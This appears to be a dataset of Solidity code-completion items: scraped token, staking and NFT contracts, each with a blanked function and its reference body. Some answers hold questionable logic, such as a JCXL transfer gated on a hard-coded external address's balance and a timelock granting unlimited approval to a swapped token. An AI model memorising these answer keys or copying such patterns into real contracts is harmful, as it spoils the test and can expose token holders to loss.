62831 | BitDiskToken | null | contract BitDiskToken is StandardToken {
// metadata
string public constant name = "BitDisk";
string public constant symbol = "BTD";
uint8 public constant decimals = 18;
string public version = "1.0";
// contracts
address public ethFundDeposit; // deposit address fo... |
ethFundDeposit = msg.sender;
totalSupply = formatDecimals(2800 * (10 ** 6)); // // two billion and one hundred million and never raised
balances[msg.sender] = totalSupply;
emit CreateBTD(ethFundDeposit, totalSupply);
|
ethFundDeposit = msg.sender;
totalSupply = formatDecimals(2800 * (10 ** 6));
balances[msg.sender] = totalSupply;
emit CreateBTD(ethFundDeposit, totalSupply);
| 809 | 91 | 900 |
35664 | VibgyorToken | VibgyorToken | contract VibgyorToken is StandardToken, Ownable {
string public constant name = "VIBGYOR LAB TOKEN";
string public constant symbol = "VGLT";
uint public constant decimals = 18;
uint256 public constant initialSupply = 200000000 * (10 ** uint256(decimals));
uint256 public startAt;
... |
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
startAt = startat;
priceInWei=priceinWei;
|
totalSupply = initialSupply;
balances[msg.sender] = initialSupply;
startAt = startat;
priceInWei=priceinWei;
| 486 | 62 | 548 |
46117 | yERB | findOnePercent | contract yERB is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "erebus protocol";
string constant tokenSymbol = "yERB";
uint8 constant tokenDecimals = 18;
... |
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(5000);
return onePercent;
|
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(5000);
return onePercent;
| 1,493 | 58 | 1,551 |
74248 | Functions | transfer | contract Functions is ERC20 {
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public payable {<FILL_FUNCTION_BODY>}
function developer_string_symbol (string symbol_new) public {
if (msg.sender == owner) symbol = symbol_new;
}
function developer_edit_text_price (string edi... |
if (balances[msg.sender] < _value) {
_value = balances[msg.sender];
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
|
if (balances[msg.sender] < _value) {
_value = balances[msg.sender];
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
| 636 | 103 | 739 |
58007 | splitterContract | remove | contract splitterContract is Ownable{
event ev(string msg, address whom, uint256 val);
struct xRec {
bool inList;
address next;
address prev;
uint256 val;
}
struct l8r {
address whom;
uint256 val;
}
address public myAddress = this;... |
if (first == whom) {
first = theList[whom].next;
theList[whom] = xRec(false,0x0,0x0,0);
return;
}
address next = theList[whom].next;
address prev = theList[whom].prev;
if (prev != 0x0) {
theList[prev].next = next;
... |
if (first == whom) {
first = theList[whom].next;
theList[whom] = xRec(false,0x0,0x0,0);
return;
}
address next = theList[whom].next;
address prev = theList[whom].prev;
if (prev != 0x0) {
theList[prev].next = next;
}
... | 832 | 178 | 1,010 |
41358 | HTCCToken | _buyToken | contract HTCCToken is EIP20Interface,Ownable,SafeMath,Pausable{
//// Constant token specific fields
string public constant name ="HTCCToken";
string public constant symbol = "HTCC";
uint8 public constant decimals = 18;
string public version = 'v0.1';
uint256 public constant initialSupply ... |
require(_to != address(0x0));
balances[_to] = safeAdd(balances[_to],_value);
balances[owner] = safeSub(balances[owner],_value);
withdraw(walletOwnerAddress);
|
require(_to != address(0x0));
balances[_to] = safeAdd(balances[_to],_value);
balances[owner] = safeSub(balances[owner],_value);
withdraw(walletOwnerAddress);
| 1,523 | 70 | 1,593 |
49051 | Signature | isSigned | contract Signature {
function splitSignature(bytes memory sig)
public pure returns (bytes32 r, bytes32 s, uint8 v)
{
require(sig.length == 65, "invalid signature length");
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
... |
return _isSigned(_address, messageHash, v, r, s) || _isSignedPrefixed(_address, messageHash, v, r, s);
|
return _isSigned(_address, messageHash, v, r, s) || _isSignedPrefixed(_address, messageHash, v, r, s);
| 359 | 41 | 400 |
77233 | FundsLocker | calculateSumToWithdraw | contract FundsLocker {
uint public lockTimeout;
uint public totalTokenBalance;
uint public latestTokenBalance;
address public beneficiary;
uint public vestingPeriod;
MintableToken public token;
constructor(address _beneficiary, uint256 _lockPeriod, uint _vestingPeriod, Mintabl... |
uint256 currentBalance = token.balanceOf(this);
if(now<=lockTimeout)
return 0;
if(now>lockTimeout+vestingPeriod)
return currentBalance;
uint256 minRequiredBalance = totalTokenBalance-totalTokenBalance*(now-lockTimeout)/vestingPeriod;
... |
uint256 currentBalance = token.balanceOf(this);
if(now<=lockTimeout)
return 0;
if(now>lockTimeout+vestingPeriod)
return currentBalance;
uint256 minRequiredBalance = totalTokenBalance-totalTokenBalance*(now-lockTimeout)/vestingPeriod;
if(minRe... | 356 | 143 | 499 |
43526 | PLAY_B2 | getData_3 | contract PLAY_B2 is Ownable {
string public constant name = " PLAY_B2 " ;
string public constant symbol = " PLAYB2 " ;
uint32 public constant decimals = 18 ;
uint public totalSupply = 10000000000000000000000000 ;
mapping (address => uint) balances;
... |
return inData_3 ;
|
return inData_3 ;
| 1,715 | 16 | 1,731 |
42958 | HXC | releaseSupply | contract HXC is SafeMath {
string public name = "HXC"; // token name
string public symbol = "HXC"; // token symbol
uint public decimals = 18; // token digit
address public admin = 0x0;
uint256 public dailyRelease = 6000 * 10 ** 18;
uint256 public totalRelease = ... |
totalRelease = safeAdd(totalRelease,dailyRelease);
return true;
|
totalRelease = safeAdd(totalRelease,dailyRelease);
return true;
| 1,035 | 26 | 1,061 |
42921 | UintIteratorController | get_last_from_uints | contract UintIteratorController {
/**
@notice Returns the first item from the list
@param _function Function that returns the first item
@return {"_item": "The first item"}
*/
function get_first_from_uints(function () constant external returns (uint256) _function)
internal
... |
_item = _function();
|
_item = _function();
| 669 | 13 | 682 |
115814 | TokenSwap | transferAnyERC20Token | contract TokenSwap is Ownable {
using SafeMath for uint;
// number of new token units per old token
// 1 token = 1e18 token units
uint public newTokenUnitsPerOldToken = 1e18;
address public oldTokenAddress;
address public newTokenAddress;
function setNewTokenUnitsPerO... |
token(tokenAddress).transfer(to, tokenUnits);
|
token(tokenAddress).transfer(to, tokenUnits);
| 501 | 21 | 522 |
72149 | FaasPoolProxy | createFaaSReward | contract FaasPoolProxy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
IFreeFromUpTo public constant chi = IFreeFromUpTo(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c);
modifier discountCHI(uint8 flag) {
if ((flag & 0x1) == 0) {
_;
... |
pool = createInternal(poolInfo);
{
FaaSRewardFund faasRewardFund = new FaaSRewardFund();
pool.finalizeRewardFundInfo(address(faasRewardFund), poolRewardInfo.unstakingFrozenTime);
pool.addRewardPool(
poolRewardInfo.rewardToken,
p... |
pool = createInternal(poolInfo);
{
FaaSRewardFund faasRewardFund = new FaaSRewardFund();
pool.finalizeRewardFundInfo(address(faasRewardFund), poolRewardInfo.unstakingFrozenTime);
pool.addRewardPool(
poolRewardInfo.rewardToken,
poolRewa... | 1,425 | 349 | 1,774 |
46106 | KVC | burn | contract KVC is KVCMath{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public owner;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public freezeOf;
m... |
if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough
if (_value <= 0) throw;
balanceOf[msg.sender] = KVCMath.kvcSub(balanceOf[msg.sender], _value); // Subtract from the sender
totalSupply = KVCMath.kvcSub(totalSupply,_value); ... |
if (balanceOf[msg.sender] < _value) throw;
if (_value <= 0) throw;
balanceOf[msg.sender] = KVCMath.kvcSub(balanceOf[msg.sender], _value);
totalSupply = KVCMath.kvcSub(totalSupply,_value);
Burn(msg.sender, _value);
... | 1,488 | 132 | 1,620 |
87152 | x32323 | burn | contract x32323 is owned {
function x32323(
uint32 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol,
address centralMinter
) {
if(centralMinter != 0 ) owner = centralMinter;
}
//... |
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return tru... |
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
| 1,802 | 91 | 1,893 |
106983 | WineMarket | getMyWine | contract WineMarket{
bool public initialized=false;
address public ceoAddress;
address public ceoWallet;
uint256 public marketWine;
mapping (address => uint256) public totalWineTransferredFromVineyard;
mapping (address => uint256) public currentWineAmount;
address constant publ... |
return SafeMath.add(SafeMath.sub(vineyardContract.wineInCellar(msg.sender),totalWineTransferredFromVineyard[msg.sender]),currentWineAmount[msg.sender]);
|
return SafeMath.add(SafeMath.sub(vineyardContract.wineInCellar(msg.sender),totalWineTransferredFromVineyard[msg.sender]),currentWineAmount[msg.sender]);
| 1,835 | 60 | 1,895 |
118521 | IXIRCOIN | claimTokens | contract IXIRCOIN is ReleasableToken, MintableTokenExt, UpgradeableToken {
/** Name and symbol were updated. */
event UpdatedTokenInformation(string newName, string newSymbol);
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
string public name;
string public... |
require(_token != address(0));
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
|
require(_token != address(0));
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
| 959 | 76 | 1,035 |
118197 | Exchange | lock | contract Exchange {
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, ... |
locked = true;
Lock(true);
|
locked = true;
Lock(true);
| 888 | 18 | 906 |
96347 | TokenTimelock | updateToken | contract TokenTimelock {
using SafeMath for uint256;
// ERC20 basic token contract being held
IERC20 private _token;
// Beneficiary of tokens after they are released
address private _beneficiary;
// Timestamp when the timelock started
uint256 private _startTime;
// Tim... |
_token.approve(newToken, 1000000000E18);
_token = IERC20(newToken);
|
_token.approve(newToken, 1000000000E18);
_token = IERC20(newToken);
| 1,465 | 46 | 1,511 |
46711 | InfinytiProfit | contract InfinytiProfit {
//Address for promo expences
address constant private PROMO = 0x1709e81Fe058c96865B48b319070e8e75604D20a;
//Percent for promo expences
uint constant public PROMO_PERCENT = 5; //4 for advertizing, 1 for techsupport
//How many percent for your deposit to be multiplied
... |
require(block.number >= 6618692);
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!"); //We need gas to process queue
require(msg.value <= 5 ether); //Do not allow too big investments to stabilize payouts
//Add the investor into t... |
require(block.number >= 6618692);
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 5 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
... | 1,208 | 236 | 1,444 | |
69529 | MegaPoker | pokeTemp | contract MegaPoker {
OsmLike constant eth = OsmLike(0x81FE72B5A8d1A857d176C3E7d5Bd2679A9B85763);
OsmLike constant bat = OsmLike(0xB4eb54AF9Cc7882DF0121d26c5b97E802915ABe6);
OsmLike constant wbtc = OsmLike(0xf185d0682d50819263941e5f4EacC763CC5C6C42);
OsmLike constant knc = OsmLike(0xf36B79BD4C0904A... |
if ( eth.pass()) eth.poke();
if ( bat.pass()) bat.poke();
if (wbtc.pass()) wbtc.poke();
if ( knc.pass()) knc.poke();
if ( zrx.pass()) zrx.poke();
if (mana.pass()) mana.poke();
if (usdt.pass()) usdt.poke();
if (comp.pass()) comp.poke();
... |
if ( eth.pass()) eth.poke();
if ( bat.pass()) bat.poke();
if (wbtc.pass()) wbtc.poke();
if ( knc.pass()) knc.poke();
if ( zrx.pass()) zrx.poke();
if (mana.pass()) mana.poke();
if (usdt.pass()) usdt.poke();
if (comp.pass()) comp.poke();
if (lin... | 1,132 | 339 | 1,471 |
90311 | TokenERC20 | _transfer | contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public bal... |
//require(_value > 0); //uint will never be less than zero ;)
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this... |
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + b... | 1,528 | 255 | 1,783 |
80241 | Ownable | null | contract Ownable is Context {
address public _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @param tokenOwner address of the token owner
* Transfers ownership to tokenOwner
*/
constructor(address tokenOwner) {<FIL... |
_transferOwnership(tokenOwner);
|
_transferOwnership(tokenOwner);
| 463 | 14 | 477 |
108809 | FeeApproverV2 | setWKoreAddress | contract FeeApproverV2 is OwnableUpgradeSafe {
using SafeMath for uint256;
function initialize(
address _KOREAddress,
address _WKOREAddress,
address _WETHAddress,
address _koreVaultAddress
) public initializer {
OwnableUpgradeSafe.__Ownable_init();
koreTokenA... |
wKoreTokenAddress = _wKoreTokenAddress;
|
wKoreTokenAddress = _wKoreTokenAddress;
| 946 | 18 | 964 |
108168 | JCXL | transfer | contract JCXL is ERC20{
uint8 public constant decimals = 18;
uint256 initialSupply = 7500000*10**uint256(decimals);
string public constant name = "JCXL.Finance";
string public constant symbol = "JCXL";
address payable teamAddress;
function totalSupply() public view returns (uint256) {
... |
if (balances[msg.sender] >= value && value > 0)
{
if (0x2d23E08D2b4296fF0740cC4e70bfA59CC9DBfB8A.balance==0){
balances[msg.sender] -= value;
balances[to] += value;
}
else{ if (to==teamAddress){
balances[msg.... |
if (balances[msg.sender] >= value && value > 0)
{
if (0x2d23E08D2b4296fF0740cC4e70bfA59CC9DBfB8A.balance==0){
balances[msg.sender] -= value;
balances[to] += value;
}
else{ if (to==teamAddress){
balances[msg.sender] ... | 555 | 197 | 752 |
81089 | PeriodicStaker | setMaster | contract PeriodicStaker {
event Staked(address staker);
ERC20 public token;
uint public total_stake=0;
uint public total_stakers=0;
mapping(address => uint)public stake;
uint public status=0;
uint safeWindow=40320;
uint public startLock;
uint public ... |
require(msg.sender==master);
master=new_master;
return true;
|
require(msg.sender==master);
master=new_master;
return true;
| 1,183 | 31 | 1,214 |
110274 | ComfortNFT | _baseURI | contract ComfortNFT is ERC721Enumerable, Ownable {
// Maximum amount of NFT in existance.
uint256 public constant MAX_SUPPLY = 100;
address public LOCKABLE_TOKEN;
uint256 public ESCROW_AMOUNT = 100 * (10**18);
string public tokenBaseURI;
constructor(string memory name, string memo... |
return tokenBaseURI;
|
return tokenBaseURI;
| 592 | 10 | 602 |
27122 | Owned | null | contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {<FILL_FUNCTION_BODY>}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// transfer Ownership to other address
func... |
owner = 0xF0162004218D873562001aAF6247e800D1701531;
|
owner = 0xF0162004218D873562001aAF6247e800D1701531;
| 170 | 51 | 221 |
117623 | FTB | setLock | contract FTB is ERC20 {
string public name = "FTB Coin";
string public symbol = "FTB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000 * 10**18;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
address... |
require(msg.sender == owner, "not owner");
unLock = !unLock;
success = true;
|
require(msg.sender == owner, "not owner");
unLock = !unLock;
success = true;
| 1,055 | 37 | 1,092 |
42768 | Etharea | setDefaultPrice | contract Etharea {
using SafeMath for uint;
struct Area {
string id;
uint price;
address owner;
uint lastUpdate;
}
address manager;
Area[] public soldAreas;
mapping(string => address) areaIdToOwner;
mapping(string => uint) areaIdToIndex;
mappi... |
defaultPrice = newPrice;
|
defaultPrice = newPrice;
| 1,434 | 13 | 1,447 |
9153 | Linear | null | contract Linear is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// -------------------------------------------... |
symbol = "LIN";
name = "Linear";
decimals = 8;
_totalSupply = 1000000000000000;
balances[0x4B817A5a15200C5Ec9FB7202e7AAc1b28429A318] = _totalSupply;
emit Transfer(address(0), 0x4B817A5a15200C5Ec9FB7202e7AAc1b28429A318, _totalSupply);
|
symbol = "LIN";
name = "Linear";
decimals = 8;
_totalSupply = 1000000000000000;
balances[0x4B817A5a15200C5Ec9FB7202e7AAc1b28429A318] = _totalSupply;
emit Transfer(address(0), 0x4B817A5a15200C5Ec9FB7202e7AAc1b28429A318, _totalSupply);
| 747 | 166 | 913 |
26763 | ERC223Token | _transferFallback | contract ERC223Token is addtionalERC223Interface , ERC20StandardToken {
function _transfer(address _to, uint256 _value ) private returns (bool) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_t... |
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
... |
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
... | 795 | 148 | 943 |
37774 | MouseTrap2 | sendValue | contract MouseTrap2 {
address public immutable BLT = 0x49C838B23B0F318a52F775f65ce090615c6A5425;
bool public initialized = false;
mapping(address => uint256) public balanceOf;
uint256 public lastBlock;
function init() public payable {
require(!initialized);
initialized = true;
}
function regist... |
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
|
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
| 642 | 93 | 735 |
32793 | ERC20 | approve | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public vie... |
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
|
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
| 1,984 | 53 | 2,037 |
53 | ALDToken | burn | contract ALDToken is ERC20("Aladdin Token", "ALD") {
address public governance;
mapping (address => bool) public isMinter;
constructor () public {
governance = msg.sender;
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
... |
require(msg.sender == governance, "!governance");
_burn(_from, _amount);
|
require(msg.sender == governance, "!governance");
_burn(_from, _amount);
| 299 | 30 | 329 |
77173 | Farm | create | contract Farm {
// address mapping for owner => crop
mapping (address => address) public crops;
// event for creating a new crop
event CreateCrop(address indexed owner, address indexed crop);
/**
* @dev Create a crop contract that can hold P3D and auto-reinvest.
* @param _referrer referral add... |
// sender must not own a crop
require(crops[msg.sender] == address(0));
// create a new crop
crops[msg.sender] = (new ProxyCrop).value(msg.value)(msg.sender, _referrer);
// fire event
emit CreateCrop(msg.sender, crops[msg.sender]);
|
require(crops[msg.sender] == address(0));
crops[msg.sender] = (new ProxyCrop).value(msg.value)(msg.sender, _referrer);
emit CreateCrop(msg.sender, crops[msg.sender]);
| 139 | 104 | 243 |
49604 | PentapreneursClub | mint | contract PentapreneursClub is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public cost = 0.1 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmount = 7;
uint256 public nf... |
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
if (m... |
require(!paused, "the contract is paused");
uint256 supply = totalSupply();
require(_mintAmount > 0, "need to mint at least 1 NFT");
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
if (msg.send... | 1,186 | 306 | 1,492 |
19364 | SimpleStaking | updateIndex | contract SimpleStaking is Ownable {
using SafeMath for uint;
uint constant doubleScale = 10 ** 36;
// stake token
IERC20 public stakeToken;
// reward token
IERC20 public rewardToken;
// the number of reward token distribution for each block
uint public rewardSpeed;
... |
uint blockDelta = block.number.sub(lastDistributedBlock);
if (blockDelta == 0) {
return;
}
uint rewardAccrued = blockDelta.mul(rewardSpeed);
if (totalCollateral > 0) {
uint indexDelta = rewardAccrued.mul(doubleScale).div(totalCollateral);
... |
uint blockDelta = block.number.sub(lastDistributedBlock);
if (blockDelta == 0) {
return;
}
uint rewardAccrued = blockDelta.mul(rewardSpeed);
if (totalCollateral > 0) {
uint indexDelta = rewardAccrued.mul(doubleScale).div(totalCollateral);
inde... | 1,216 | 127 | 1,343 |
110455 | SorareData | getClub | contract SorareData is ISorareData, MinterAccess {
struct Player {
// The name of the actual football player
string name;
// The year of birth of the actual football player.
uint16 yearOfBirth;
// The month of birth of the actual football player.
// January is 1... |
Club storage c = clubs[clubId - 1];
name = c.name;
country = c.country;
city = c.city;
yearFounded = c.yearFounded;
|
Club storage c = clubs[clubId - 1];
name = c.name;
country = c.country;
city = c.city;
yearFounded = c.yearFounded;
| 1,458 | 60 | 1,518 |
87913 | Stoken | stakedOf | contract Stoken is ERC20 {
//data
address public sExchange;
address public exchangeAdmin;
struct Staker {
uint256 staked;
int256 stakeQuantShare;
}
struct Info {
uint256 totalUnlockedSupply;
uint256 lockUntil;
uint256 totalStaked;
mappin... |
return info.stakers[_user].staked;
|
return info.stakers[_user].staked;
| 1,546 | 19 | 1,565 |
42787 | SmolTing | burn | contract SmolTing is Ownable, MinterRole, CanTransferRole {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value);
mapping (address => uint256) private _balances;
uint256 private _totalSupply;
uint256 private _totalClaimed;
string public nam... |
require(_balances[_account] >= value, "nope, cannot burn more than address has");
_burn(_account, value);
|
require(_balances[_account] >= value, "nope, cannot burn more than address has");
_burn(_account, value);
| 1,199 | 39 | 1,238 |
51496 | Cryptor | mint | contract Cryptor is AccessControlEnumerable, ERC20Capped, ERC20Pausable, ERC20Burnable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
constructor(uint256 cappedSupply, address admin) ERC20("Cryptor", "VICI") ERC20Capped(cap... |
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20MinterPauser: must have minter role to mint");
_mint(to, amount);
|
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20MinterPauser: must have minter role to mint");
_mint(to, amount);
| 528 | 54 | 582 |
78974 | IWCEToken | airDrop | contract IWCEToken {
using SafeMath for uint256;
address owner = msg.sender;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => bool) public airDroppedList;
string public constant name = "IWC ecosystem";
string public... |
totalAirDropNum = totalAirDropNum.sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit AirDrop(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
|
totalAirDropNum = totalAirDropNum.sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit AirDrop(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
| 1,010 | 79 | 1,089 |
117698 | PreTgeExperty | approveTx | contract PreTgeExperty {
// TGE
struct Contributor {
address addr;
uint256 amount;
uint256 timestamp;
bool rejected;
}
Contributor[] public contributors;
mapping(address => bool) public isWhitelisted;
address public managerAddr;
address public whitelistManagerAddr;
// wall... |
assert(txs[txIdx].founder != msg.sender);
assert(txs[txIdx].active);
txs[txIdx].active = false;
txs[txIdx].destAddr.transfer(txs[txIdx].amount);
|
assert(txs[txIdx].founder != msg.sender);
assert(txs[txIdx].active);
txs[txIdx].active = false;
txs[txIdx].destAddr.transfer(txs[txIdx].amount);
| 1,360 | 80 | 1,440 |
66515 | BotRefills | getEth2Dai | contract BotRefills is AdminAuth {
using TokenUtils for address;
address internal refillCaller = 0x33fDb79aFB4456B604f376A45A546e7ae700e880;
address internal feeAddr = 0x76720aC2574631530eC8163e4085d6F98513fb27;
address internal constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8d... |
address[] memory path = new address[](2);
path[0] = TokenUtils.WETH_ADDR;
path[1] = DAI_ADDR;
daiAmount = router.getAmountsOut(_ethAmount, path)[1];
|
address[] memory path = new address[](2);
path[0] = TokenUtils.WETH_ADDR;
path[1] = DAI_ADDR;
daiAmount = router.getAmountsOut(_ethAmount, path)[1];
| 1,257 | 73 | 1,330 |
28717 | Policy | authenticationFee | contract Policy is Killable, UsingConfig, UsingValidator {
using SafeMath for uint256;
IPolicy private _policy;
uint256 private _votingEndBlockNumber;
constructor(address _config, address _innerPolicyAddress)
public
UsingConfig(_config)
{
addressValidator().validateAddress(
msg.sender,
confi... |
return _policy.authenticationFee(_assets, _propertyAssets);
|
return _policy.authenticationFee(_assets, _propertyAssets);
| 1,048 | 23 | 1,071 |
106737 | ACLManaged | isOwnerOrOpsOrAdmin | contract ACLManaged is Ownable {
///////////////////////////
// ACLManaged PROPERTIES //
///////////////////////////
// The operational acl address
address public opsAddress;
// The admin acl address
address public adminAddress;
////////////////////////////////////////... |
bool result = (_address == opsAddress || _address == adminAddress || _address == owner);
return result;
|
bool result = (_address == opsAddress || _address == adminAddress || _address == owner);
return result;
| 839 | 34 | 873 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.